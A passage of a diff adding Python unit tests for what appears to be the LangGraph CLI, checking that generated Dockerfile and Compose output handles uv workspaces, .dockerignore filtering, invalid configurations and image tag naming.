+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        (project_root / "src").mkdir()
+        (project_root / "src" / "agent.py").write_text("graph = object()\n")
+        (project_root / "README.md").write_text("# hi\n")
+        (project_root / ".gitignore").write_text("README.md\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+        docker, _ = config_to_docker(
+            project_root / "langgraph.json",
+            config,
+            base_image="langchain/langgraph-api:0.2.47",
+        )
+
+        assert "ADD README.md /deps/workspace/README.md" in docker
+
+
+def test_config_to_docker_uv_lock_skips_dockerignore_entries_in_workspace():
+    """Multi-member workspace: ignore patterns must filter root-level entries
+    AND entries encountered while recursing into directories that contain
+    workspace members (the `descendant_member_roots` branch)."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
+            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+        )
+        root_src = project_root / "src" / "workspace_root"
+        root_src.mkdir(parents=True)
+        (root_src / "__init__.py").write_text("__all__ = []\n")
+        (project_root / "README.md").write_text("workspace root package\n")
+
+        # A non-member sibling of the `apps/agent` member that should be
+        # filtered out via .dockerignore. This exercises the recursion into
+        # `apps/` where `apps/agent` is kept (it's a member) but its sibling is
+        # filtered.
+        (project_root / "apps" / "scratch.txt").write_text("scratch\n")
+        # A root-level path that .dockerignore excludes.
+        (project_root / "secrets.env").write_text("TOKEN=abc\n")
+        (project_root / ".dockerignore").write_text("secrets.env\napps/scratch.txt\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert "COPY --from=uv-workspace-root src /deps/workspace/src" in docker
+        assert (
+            "COPY --from=uv-workspace-root README.md /deps/workspace/README.md"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root .dockerignore /deps/workspace/.dockerignore"
+            in docker
+        )
+        assert "secrets.env" not in docker
+        assert "apps/scratch.txt" not in docker
+        # Workspace members themselves are still copied via their own per-member
+        # COPY line — the sibling filter must not disturb this.
+        assert (
+            "COPY --from=uv-workspace-root apps/agent /deps/workspace/apps/agent"
+            in docker
+        )
+
+
+def test_config_to_docker_uv_lock_preserves_negated_dockerignore_descendants():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        (project_root / "src").mkdir()
+        (project_root / "src" / "agent.py").write_text("graph = object()\n")
+        (project_root / "assets").mkdir()
+        (project_root / "assets" / "keep.txt").write_text("keep\n")
+        (project_root / "assets" / "drop.txt").write_text("drop\n")
+        (project_root / ".dockerignore").write_text("assets/\n!assets/keep.txt\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+        docker, _ = config_to_docker(
+            project_root / "langgraph.json",
+            config,
+            base_image="langchain/langgraph-api:0.2.47",
+        )
+
+        assert "ADD assets /deps/workspace/assets" not in docker
+        assert "ADD assets/keep.txt /deps/workspace/assets/keep.txt" in docker
+        assert "assets/drop.txt" not in docker
+
+
+def test_config_to_docker_uv_lock_prunes_unrelated_ignored_subtrees():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        (project_root / "src").mkdir()
+        (project_root / "src" / "agent.py").write_text("graph = object()\n")
+        (project_root / "assets").mkdir()
+        (project_root / "assets" / "keep.txt").write_text("keep\n")
+        (project_root / "vendor").mkdir()
+        (project_root / "vendor" / "huge.txt").write_text("large\n")
+        (project_root / ".dockerignore").write_text(
+            "vendor/\nassets/\n!assets/keep.txt\n"
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+
+        original_iterdir = pathlib.Path.iterdir
+
+        def guarded_iterdir(self):
+            if self == project_root / "vendor":
+                raise AssertionError("should not walk unrelated ignored subtree")
+            return original_iterdir(self)
+
+        with patch.object(
+            pathlib.Path, "iterdir", autospec=True, side_effect=guarded_iterdir
+        ):
+            docker, _ = config_to_docker(
+                project_root / "langgraph.json",
+                config,
+                base_image="langchain/langgraph-api:0.2.47",
+            )
+
+        assert "ADD assets/keep.txt /deps/workspace/assets/keep.txt" in docker
+        assert "vendor/huge.txt" not in docker
+
+
+def test_config_to_docker_uv_lock_never_reincludes_always_excluded_subtrees():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root = tmpdir_path / "single"
+        project_root.mkdir()
+        (project_root / "uv.lock").write_text("# uv lock file\n")
+        (project_root / "pyproject.toml").write_text(
+            textwrap.dedent(
+                """
+                [project]
+                name = "single-app"
+                version = "0.1.0"
+                dependencies = ["httpx>=0.28"]
+
+                [build-system]
+                requires = ["setuptools>=61"]
+                build-backend = "setuptools.build_meta"
+                """
+            ).strip()
+            + "\n"
+        )
+        (project_root / "langgraph.json").write_text("{}\n")
+        (project_root / "src").mkdir()
+        (project_root / "src" / "agent.py").write_text("graph = object()\n")
+        (project_root / ".venv" / "pkg").mkdir(parents=True)
+        (project_root / ".venv" / "pkg" / "keep.txt").write_text("keep\n")
+        (project_root / "node_modules" / "pkg").mkdir(parents=True)
+        (project_root / "node_modules" / "pkg" / "package.json").write_text("{}\n")
+        (project_root / ".dockerignore").write_text(
+            "!.venv/pkg/keep.txt\n!node_modules/pkg/package.json\n"
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "./src/agent.py:graph"},
+                "source": {"kind": "uv"},
+            }
+        )
+        docker, _ = config_to_docker(
+            project_root / "langgraph.json",
+            config,
+            base_image="langchain/langgraph-api:0.2.47",
+        )
+
+        assert ".venv/pkg/keep.txt" not in docker
+        assert "node_modules/pkg/package.json" not in docker
+        assert "ADD src /deps/workspace/src" in docker
+
+
+def test_config_to_docker_uv_lock_rejects_ignored_workspace_member():
+    """A workspace member matched by .dockerignore cannot be copied into the
+    build context — uv.lock requires it, so fail loudly with a clear message."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+        (project_root / ".dockerignore").write_text("libs/shared\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+                "auth": {"path": "../../libs/shared/src/shared/auth.py:create_auth"},
+            }
+        )
+        with pytest.raises(
+            click.UsageError, match=r"Workspace member 'shared' at libs/shared"
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_rejects_invalid_source_package_type():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(tmpdir_path)
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        config["source"]["package"] = 123
+
+        with pytest.raises(
+            click.UsageError, match="`source.package` must be a non-empty string"
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_rejects_paths_outside_target_closure():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }",
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../libs/extra/src/extra/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+
+        with pytest.raises(
+            click.UsageError,
+            match="not inside the target package 'agent'",
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_rejects_unrelated_member_when_root_in_closure():
+    """When the workspace root is in the closure, paths under unrelated members
+    should still be rejected instead of silently matching the root."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        # Agent depends on workspace-root (puts project_root in container_roots)
+        _, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
+            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+        )
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    # extra is a workspace member but NOT a dependency of agent
+                    "agent": "../../libs/extra/src/extra/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+
+        with pytest.raises(
+            click.UsageError,
+            match="not inside the target package 'agent'",
+        ):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_root_package_copy_skips_unrelated_members():
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        project_root, config_path = _write_uv_lock_workspace(
+            tmpdir_path,
+            agent_dependencies=["workspace-root", "shared", "httpx>=0.28"],
+            root_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+            agent_sources="[tool.uv.sources]\nshared = { workspace = true }\nworkspace-root = { workspace = true }",
+        )
+        root_src = project_root / "src" / "workspace_root"
+        root_src.mkdir(parents=True)
+        (root_src / "__init__.py").write_text("__all__ = []\n")
+        (project_root / "README.md").write_text("workspace root package\n")
+
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {
+                    "agent": "../../apps/agent/src/agent/graph.py:graph",
+                },
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        docker, _ = config_to_docker(
+            config_path, config, base_image="langchain/langgraph-api:0.2.47"
+        )
+
+        assert "COPY --from=uv-workspace-root . /deps/workspace" not in docker
+        assert "COPY --from=uv-workspace-root src /deps/workspace/src" in docker
+        assert (
+            "COPY --from=uv-workspace-root README.md /deps/workspace/README.md"
+            in docker
+        )
+        assert (
+            "COPY --from=uv-workspace-root libs/extra /deps/workspace/libs/extra"
+            not in docker
+        )
+        assert "WORKDIR /deps/workspace" in docker
+        assert (
+            "RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir "
+            "-c /api/constraints.txt --no-deps -e ." in docker
+        )
+
+
+def test_config_to_docker_uv_lock_missing_lockfile():
+    """Test that uv_lock fails when uv.lock is missing."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(tmpdir_path)
+        (config_path.parent.parent.parent / "uv.lock").unlink()
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(click.UsageError, match="No uv.lock found"):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_missing_pyproject():
+    """Test that uv_lock fails when pyproject.toml is missing."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(tmpdir_path)
+        (config_path.parent.parent.parent / "pyproject.toml").unlink()
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(click.UsageError, match="No pyproject.toml found"):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.47"
+            )
+
+
+def test_config_to_docker_uv_lock_old_image():
+    """Test that uv_lock fails with an old base image."""
+    with tempfile.TemporaryDirectory() as tmpdir:
+        tmpdir_path = pathlib.Path(tmpdir)
+        _, config_path = _write_uv_lock_workspace(tmpdir_path)
+        config = validate_config(
+            {
+                "python_version": "3.11",
+                "graphs": {"agent": "../../apps/agent/src/agent/graph.py:graph"},
+                "source": {"kind": "uv", "root": "../..", "package": "agent"},
+            }
+        )
+        with pytest.raises(ValueError, match="requires a base image with uv support"):
+            config_to_docker(
+                config_path, config, base_image="langchain/langgraph-api:0.2.46"
+            )
+
+
+def test_config_retain_build_tools():
+    graphs = {"agent": "./graphs/agent.py:graph"}
+    base_config = {
+        "python_version": "3.11",
+        "dependencies": ["."],
+        "graphs": graphs,
+    }
+    config_true = validate_config(
+        {**copy.deepcopy(base_config), "keep_pkg_tools": True}
+    )
+    docker_true, _ = config_to_docker(
+        PATH_TO_CONFIG, config_true, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert not any(
+        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_true
+        for pckg in _BUILD_TOOLS
+    )
+    assert "RUN pip uninstall -y pip setuptools wheel" not in docker_true
+    config_false = validate_config(
+        {**copy.deepcopy(base_config), "keep_pkg_tools": False}
+    )
+    docker_false, _ = config_to_docker(
+        PATH_TO_CONFIG, config_false, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert all(
+        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_false
+        for pckg in _BUILD_TOOLS
+    )
+    assert "RUN pip uninstall -y pip setuptools wheel" in docker_false
+    config_list = validate_config(
+        {**copy.deepcopy(base_config), "keep_pkg_tools": ["pip", "setuptools"]}
+    )
+    docker_list, _ = config_to_docker(
+        PATH_TO_CONFIG, config_list, base_image="langchain/langgraph-api:0.2.47"
+    )
+    assert all(
+        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_list
+        for pckg in ("wheel",)
+    )
+    assert not any(
+        "/usr/local/lib/python*/site-packages/" + pckg + "*" in docker_list
+        for pckg in ("pip", "setuptools")
+    )
+    assert "RUN pip uninstall -y wheel" in docker_list
+    assert "RUN pip uninstall -y pip setuptools" not in docker_list
+
+
+# config_to_compose
+def test_config_to_compose_simple_config():
+    graphs = {"agent": "./agent.py:graph"}
+    # Create a properly indented version of FORMATTED_CLEANUP_LINES for compose files
+    expected_compose_stdin = f"""
+        pull_policy: build
+        build:
+            context: .
+            dockerfile_inline: |
+                FROM langchain/langgraph-api:3.11
+                # -- Adding non-package dependency unit_tests --
+                ADD . /deps/outer-unit_tests/unit_tests
+                RUN set -ex && \\
+                    for line in '[project]' \\
+                                'name = "unit_tests"' \\
+                                'version = "0.1"' \\
+                                '[tool.setuptools.package-data]' \\
+                                '"*" = ["**/*"]' \\
+                                '[build-system]' \\
+                                'requires = ["setuptools>=61"]' \\
+                                'build-backend = "setuptools.build_meta"'; do \\
+                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+                    done
+                # -- End of non-package dependency unit_tests --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/outer-unit_tests/unit_tests
+        """
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+    )
+    assert (
+        clean_empty_lines(actual_compose_stdin).strip()
+        == expected_compose_stdin.strip()
+    )
+
+
+def test_config_to_compose_env_vars():
+    graphs = {"agent": "./agent.py:graph"}
+    expected_compose_stdin = f"""                        OPENAI_API_KEY: "key"
+        
+        pull_policy: build
+        build:
+            context: .
+            dockerfile_inline: |
+                FROM langchain/langgraph-api-custom:3.11
+                # -- Adding non-package dependency unit_tests --
+                ADD . /deps/outer-unit_tests/unit_tests
+                RUN set -ex && \\
+                    for line in '[project]' \\
+                                'name = "unit_tests"' \\
+                                'version = "0.1"' \\
+                                '[tool.setuptools.package-data]' \\
+                                '"*" = ["**/*"]' \\
+                                '[build-system]' \\
+                                'requires = ["setuptools>=61"]' \\
+                                'build-backend = "setuptools.build_meta"'; do \\
+                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+                    done
+                # -- End of non-package dependency unit_tests --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/outer-unit_tests/unit_tests
+        """
+    openai_api_key = "key"
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config(
+            {
+                "dependencies": ["."],
+                "graphs": graphs,
+                "env": {"OPENAI_API_KEY": openai_api_key},
+            }
+        ),
+        "langchain/langgraph-api-custom",
+    )
+    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin
+
+
+def test_config_to_compose_env_file():
+    graphs = {"agent": "./agent.py:graph"}
+    expected_compose_stdin = f"""\
+        env_file: .env
+        pull_policy: build
+        build:
+            context: .
+            dockerfile_inline: |
+                FROM langchain/langgraph-api:3.11
+                # -- Adding non-package dependency unit_tests --
+                ADD . /deps/outer-unit_tests/unit_tests
+                RUN set -ex && \\
+                    for line in '[project]' \\
+                                'name = "unit_tests"' \\
+                                'version = "0.1"' \\
+                                '[tool.setuptools.package-data]' \\
+                                '"*" = ["**/*"]' \\
+                                '[build-system]' \\
+                                'requires = ["setuptools>=61"]' \\
+                                'build-backend = "setuptools.build_meta"'; do \\
+                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+                    done
+                # -- End of non-package dependency unit_tests --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/outer-unit_tests/unit_tests
+        """
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
+        "langchain/langgraph-api",
+    )
+    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin
+
+
+def test_config_to_compose_watch():
+    graphs = {"agent": "./agent.py:graph"}
+    expected_compose_stdin = f"""\
+        
+        pull_policy: build
+        build:
+            context: .
+            dockerfile_inline: |
+                FROM langchain/langgraph-api:3.11
+                # -- Adding non-package dependency unit_tests --
+                ADD . /deps/outer-unit_tests/unit_tests
+                RUN set -ex && \\
+                    for line in '[project]' \\
+                                'name = "unit_tests"' \\
+                                'version = "0.1"' \\
+                                '[tool.setuptools.package-data]' \\
+                                '"*" = ["**/*"]' \\
+                                '[build-system]' \\
+                                'requires = ["setuptools>=61"]' \\
+                                'build-backend = "setuptools.build_meta"'; do \\
+                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+                    done
+                # -- End of non-package dependency unit_tests --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/outer-unit_tests/unit_tests
+        
+        develop:
+            watch:
+                - path: test_config.json
+                  action: rebuild
+                - path: .
+                  action: rebuild\
+"""
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+        watch=True,
+    )
+    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin
+
+
+def test_config_to_compose_end_to_end():
+    # test all of the above + langgraph API path
+    graphs = {"agent": "./agent.py:graph"}
+    expected_compose_stdin = f"""\
+        env_file: .env
+        pull_policy: build
+        build:
+            context: .
+            dockerfile_inline: |
+                FROM langchain/langgraph-api:3.11
+                # -- Adding non-package dependency unit_tests --
+                ADD . /deps/outer-unit_tests/unit_tests
+                RUN set -ex && \\
+                    for line in '[project]' \\
+                                'name = "unit_tests"' \\
+                                'version = "0.1"' \\
+                                '[tool.setuptools.package-data]' \\
+                                '"*" = ["**/*"]' \\
+                                '[build-system]' \\
+                                'requires = ["setuptools>=61"]' \\
+                                'build-backend = "setuptools.build_meta"'; do \\
+                        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
+                    done
+                # -- End of non-package dependency unit_tests --
+                # -- Installing all local dependencies --
+                RUN for dep in /deps/*; do             echo "Installing $$dep";             if [ -d "$$dep" ]; then                 echo "Installing $$dep";                 (cd "$$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
+                # -- End of local dependencies install --
+                ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
+{textwrap.indent(textwrap.dedent(FORMATTED_CLEANUP_LINES), "                ")}
+                WORKDIR /deps/outer-unit_tests/unit_tests
+        
+        develop:
+            watch:
+                - path: test_config.json
+                  action: rebuild
+                - path: .
+                  action: rebuild\
+"""
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
+        "langchain/langgraph-api",
+        watch=True,
+    )
+    assert clean_empty_lines(actual_compose_stdin) == expected_compose_stdin
+
+
+def test_docker_tag_image_distro():
+    """Test docker_tag function with different image_distro configurations."""
+
+    # Test 1: Default distro (debian) - no suffix
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraph-api:3.11"
+
+    # Test 2: Explicit debian distro - no suffix (same as default)
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "debian",
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraph-api:3.11"
+
+    # Test 3: Wolfi distro - should add suffix
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraph-api:3.11-wolfi"
+
+    # Test 4: Node.js with default distro
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraphjs-api:20"
+
+    # Test 5: Node.js with wolfi distro
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraphjs-api:20-wolfi"
+
+    # Test 6: Custom base image with wolfi
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+            "base_image": "my-registry/custom-image",
+        }
+    )
+    tag = docker_tag(config, base_image="my-registry/custom-image")
+    assert tag == "my-registry/custom-image:3.12-wolfi"
+
+
+def test_docker_tag_multiplatform_with_distro():
+    """Test docker_tag with multiplatform configs and image_distro."""
+
+    # Test 1: Multiplatform (Python + Node) with wolfi
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "node_version": "20",
+            "dependencies": ["."],
+            "graphs": {"python": "./agent.py:graph", "js": "./agent.js:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    tag = docker_tag(config)
+    # Should default to Python when both are present
+    assert tag == "langchain/langgraph-api:3.11-wolfi"
+
+    # Test 2: Node-only multiplatform with wolfi
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"js": "./agent.js:graph"},
+            "image_distro": "wolfi",
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraphjs-api:20-wolfi"
+
+
+def test_docker_tag_different_python_versions_with_distro():
+    """Test docker_tag with different Python versions and distros."""
+
+    versions_and_expected = [
+        ("3.11", "langchain/langgraph-api:3.11-wolfi"),
+        ("3.12", "langchain/langgraph-api:3.12-wolfi"),
+        ("3.13", "langchain/langgraph-api:3.13-wolfi"),
+    ]
+
+    for python_version, expected_tag in versions_and_expected:
+        config = validate_config(
+            {
+                "python_version": python_version,
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "image_distro": "wolfi",
+            }
+        )
+        tag = docker_tag(config)
+        assert tag == expected_tag, f"Failed for Python {python_version}"
+
+
+def test_docker_tag_different_node_versions_with_distro():
+    """Test docker_tag with different Node.js versions and distros."""
+
+    versions_and_expected = [
+        ("20", "langchain/langgraphjs-api:20-wolfi"),
+        ("21", "langchain/langgraphjs-api:21-wolfi"),
+        ("22", "langchain/langgraphjs-api:22-wolfi"),
+    ]
+
+    for node_version, expected_tag in versions_and_expected:
+        config = validate_config(
+            {
+                "node_version": node_version,
+                "graphs": {"agent": "./agent.js:graph"},
+                "image_distro": "wolfi",
+            }
+        )
+        tag = docker_tag(config)
+        assert tag == expected_tag, f"Failed for Node.js {node_version}"
+
+
+@pytest.mark.parametrize("in_config", [False, True])
+def test_docker_tag_with_api_version(in_config: bool):
+    """Test docker_tag function with api_version parameter."""
+
+    # Test 1: Python config with api_version and default distro
+    version = "0.2.74"
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraph-api:{version}-py3.11"
+
+    # Test 2: Python config with api_version and wolfi distro
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraph-api:{version}-py3.12-wolfi"
+
+    # Test 3: Node.js config with api_version and default distro
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+            "api_version": version if in_config else None,
+        }
+    )
